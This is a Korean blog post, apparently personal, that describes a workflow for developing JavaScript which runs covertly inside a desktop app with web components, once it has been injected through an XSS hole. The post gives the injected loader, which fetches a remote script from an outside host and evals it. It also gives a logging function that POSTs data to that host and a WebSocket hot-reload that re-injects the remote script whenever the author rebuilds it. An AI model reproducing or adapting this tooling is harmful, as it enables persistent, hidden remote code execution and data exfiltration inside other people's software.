지피지기 백전백퇴

웹 컴포넌트가 있는 데스크탑 앱에서 몰래 돌아가는 javascript 코드 개발하기


문제

어찌어찌 데스크탑 앱에 스리슬쩍 XSS로 스크립트를 밀어넣고 돌리는데 스크립트를 고치면서 다시 돌리는게 너무 번거로웠다. 어떻게 하면 앱을 새로 구동하는 번거로운 작업 없이 스크립트 부분만 다시 실행하면서 개발할 수 있을까?

대충의 설계

XSS 코드를 통해선 웹에서 스크립트를 불러오는 작업만 하도록 하고, 스크립트에서 자기 자신을 다시 불러오는 작업만 하도록 하면 되지 않을까?

클라이언트 구현

초기 스크립트 구동 부분

XSS를 어떻게 하냐에 따라 다르지만, 내 경우엔 조금 자유도가 있어서, fetch('https://example.com/script.js').then(r => r.text()).then(s => eval(s)) 코드를 삽입하는 것으로 초기 구동 부분을 만들었다.

디버깅을 위한 최소한의 로깅 구현

제대로 된 브라우저에서 구동하는 것이 아니기 때문에 console.log 같은걸 볼 수가 없었다. 너무 번거로워서 로깅 기능을 구현했다.

function log(...args) {
    fetch("https://example.com/logger", {
        method: "POST",
        body: JSON.stringify(args),
    });
}

자기 자신을 새로 고치는 스크립트

당연히 서버에서 스크립트 갱신시 push를 해줘야 한다. 일단 브라우저가 웹소켓을 지원하니 웹소켓을 써서 갱신하도록 했다.

try {
    // your playground is here
} catch (e) {
    log(`ERROR: ${e}`);
}

var socket = new WebSocket("wss://example.com/websocket");
socket.onmessage = function(msg) {
    if (msg.data == 'reload') {
        socket.close();
        const scriptElement = document.createElement('script');
        scriptElement.src = "https://example.com/script.js";
        document.body.appendChild(scriptElement);
    }
};

서버 구현

서버는 logger를 통해 로그를 받고, 스크립트가 갱신됐을 때 웹소켓을 통해 알려주고, 또 스크립트 파일도 서빙해야 한다. 딱 기능 3개밖에 필요없네? 깡서버로 구현하자.

스크립트 파일 빌드

직접 빌드를 해야 파일이 업데이트되었을 때 알려주는게 편하다. (아니면… 생성된 스크립트 파일을 계속 감시해야지) 여기선 rollup을 써서 해봤다.

import { RollupOptions, watch as rollupWatch } from 'rollup';
import rollupConfig from './rollup.config.js';

const watcher = rollupWatch(rollupConfig);
watcher.on('event', (e) => {
    switch (e.code) {
        case 'BUNDLE_END':
            console.log('emitting reload');
            globalEventEmitter.emit('triggerReload');
            break;
    }
});

결론

된다!